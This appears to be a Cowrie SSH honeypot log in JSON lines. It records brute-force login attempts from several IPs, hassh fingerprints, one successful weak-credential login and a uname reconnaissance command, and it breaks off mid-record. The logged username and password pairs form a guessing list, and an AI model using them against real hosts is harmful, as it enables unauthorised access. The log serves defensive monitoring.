{"eventid":"cowrie.login.failed","username":"shakun","password":"123456","message":"login attempt [shakun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:46.506518Z","src_ip":"159.65.58.200","session":"4ad04856fbf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:47.373948Z","src_ip":"8.210.75.243","session":"4dc774a4a298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:47.817782Z","src_ip":"159.65.58.200","session":"4ad04856fbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49082,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3f0a98f67a9","protocol":"ssh","message":"New connection: 165.154.137.186:49082 (10.17.0.5:22) [session: a3f0a98f67a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:50.011116Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49066,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e6255e5d5a0","protocol":"ssh","message":"New connection: 165.154.137.186:49066 (10.17.0.5:22) [session: 3e6255e5d5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:50.108177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:50.167198Z","src_ip":"165.154.137.186","session":"a3f0a98f67a9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:50.182843Z","src_ip":"165.154.137.186","session":"3e6255e5d5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:50.428831Z","src_ip":"165.154.137.186","session":"3e6255e5d5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:50.432463Z","src_ip":"165.154.137.186","session":"a3f0a98f67a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:51.342142Z","src_ip":"165.154.137.186","session":"a3f0a98f67a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:51.351234Z","src_ip":"165.154.137.186","session":"3e6255e5d5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:52.401431Z","src_ip":"176.32.39.21","session":"982136e9834d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:52.601182Z","src_ip":"165.154.137.186","session":"3e6255e5d5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:52.611989Z","src_ip":"165.154.137.186","session":"a3f0a98f67a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49052,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5d67e4e391d","protocol":"ssh","message":"New connection: 165.154.137.186:49052 (10.17.0.5:22) [session: a5d67e4e391d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.009030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.013050Z","src_ip":"165.154.137.186","session":"a5d67e4e391d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":57446,"dst_ip":"10.17.0.5","dst_port":22,"session":"126d2735d2c2","protocol":"ssh","message":"New connection: 103.187.165.26:57446 (10.17.0.5:22) [session: 126d2735d2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.264951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.268431Z","src_ip":"103.187.165.26","session":"126d2735d2c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.287977Z","src_ip":"165.154.137.186","session":"a5d67e4e391d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39014,"dst_ip":"10.17.0.5","dst_port":22,"session":"73049ca20514","protocol":"ssh","message":"New connection: 103.122.221.179:39014 (10.17.0.5:22) [session: 73049ca20514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.478856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.482637Z","src_ip":"103.122.221.179","session":"73049ca20514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.506347Z","src_ip":"103.187.165.26","session":"126d2735d2c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.741628Z","src_ip":"103.122.221.179","session":"73049ca20514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57584,"dst_ip":"10.17.0.5","dst_port":22,"session":"2da7cbfa6077","protocol":"ssh","message":"New connection: 8.210.75.243:57584 (10.17.0.5:22) [session: 2da7cbfa6077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.938498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:55.941789Z","src_ip":"8.210.75.243","session":"2da7cbfa6077","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:56.117330Z","src_ip":"165.154.137.186","session":"a5d67e4e391d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"9999","message":"login attempt [user/9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:56.493519Z","src_ip":"103.187.165.26","session":"126d2735d2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280519","message":"login attempt [root/280519] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:56.523529Z","src_ip":"103.122.221.179","session":"73049ca20514","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:56.718778Z","src_ip":"165.154.137.186","session":"a5d67e4e391d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:56.720793Z","src_ip":"165.154.137.186","session":"a5d67e4e391d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:56.997726Z","src_ip":"165.154.137.186","session":"a5d67e4e391d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:57.001735Z","src_ip":"165.154.137.186","session":"a5d67e4e391d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43898,"dst_ip":"10.17.0.5","dst_port":22,"session":"225695674ca9","protocol":"ssh","message":"New connection: 165.154.137.186:43898 (10.17.0.5:22) [session: 225695674ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:57.564725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:57.568501Z","src_ip":"165.154.137.186","session":"225695674ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:57.733869Z","src_ip":"103.187.165.26","session":"126d2735d2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:57.784763Z","src_ip":"103.122.221.179","session":"73049ca20514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:57.842458Z","src_ip":"165.154.137.186","session":"225695674ca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43886,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f115bf85276","protocol":"ssh","message":"New connection: 165.154.137.186:43886 (10.17.0.5:22) [session: 6f115bf85276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:58.081976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:58.085766Z","src_ip":"165.154.137.186","session":"6f115bf85276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:58.359913Z","src_ip":"165.154.137.186","session":"6f115bf85276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:58.666548Z","src_ip":"165.154.137.186","session":"225695674ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:59.185810Z","src_ip":"165.154.137.186","session":"6f115bf85276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43904,"dst_ip":"10.17.0.5","dst_port":22,"session":"5809d2321b8d","protocol":"ssh","message":"New connection: 165.154.137.186:43904 (10.17.0.5:22) [session: 5809d2321b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:59.300773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:59:59.304138Z","src_ip":"165.154.137.186","session":"5809d2321b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 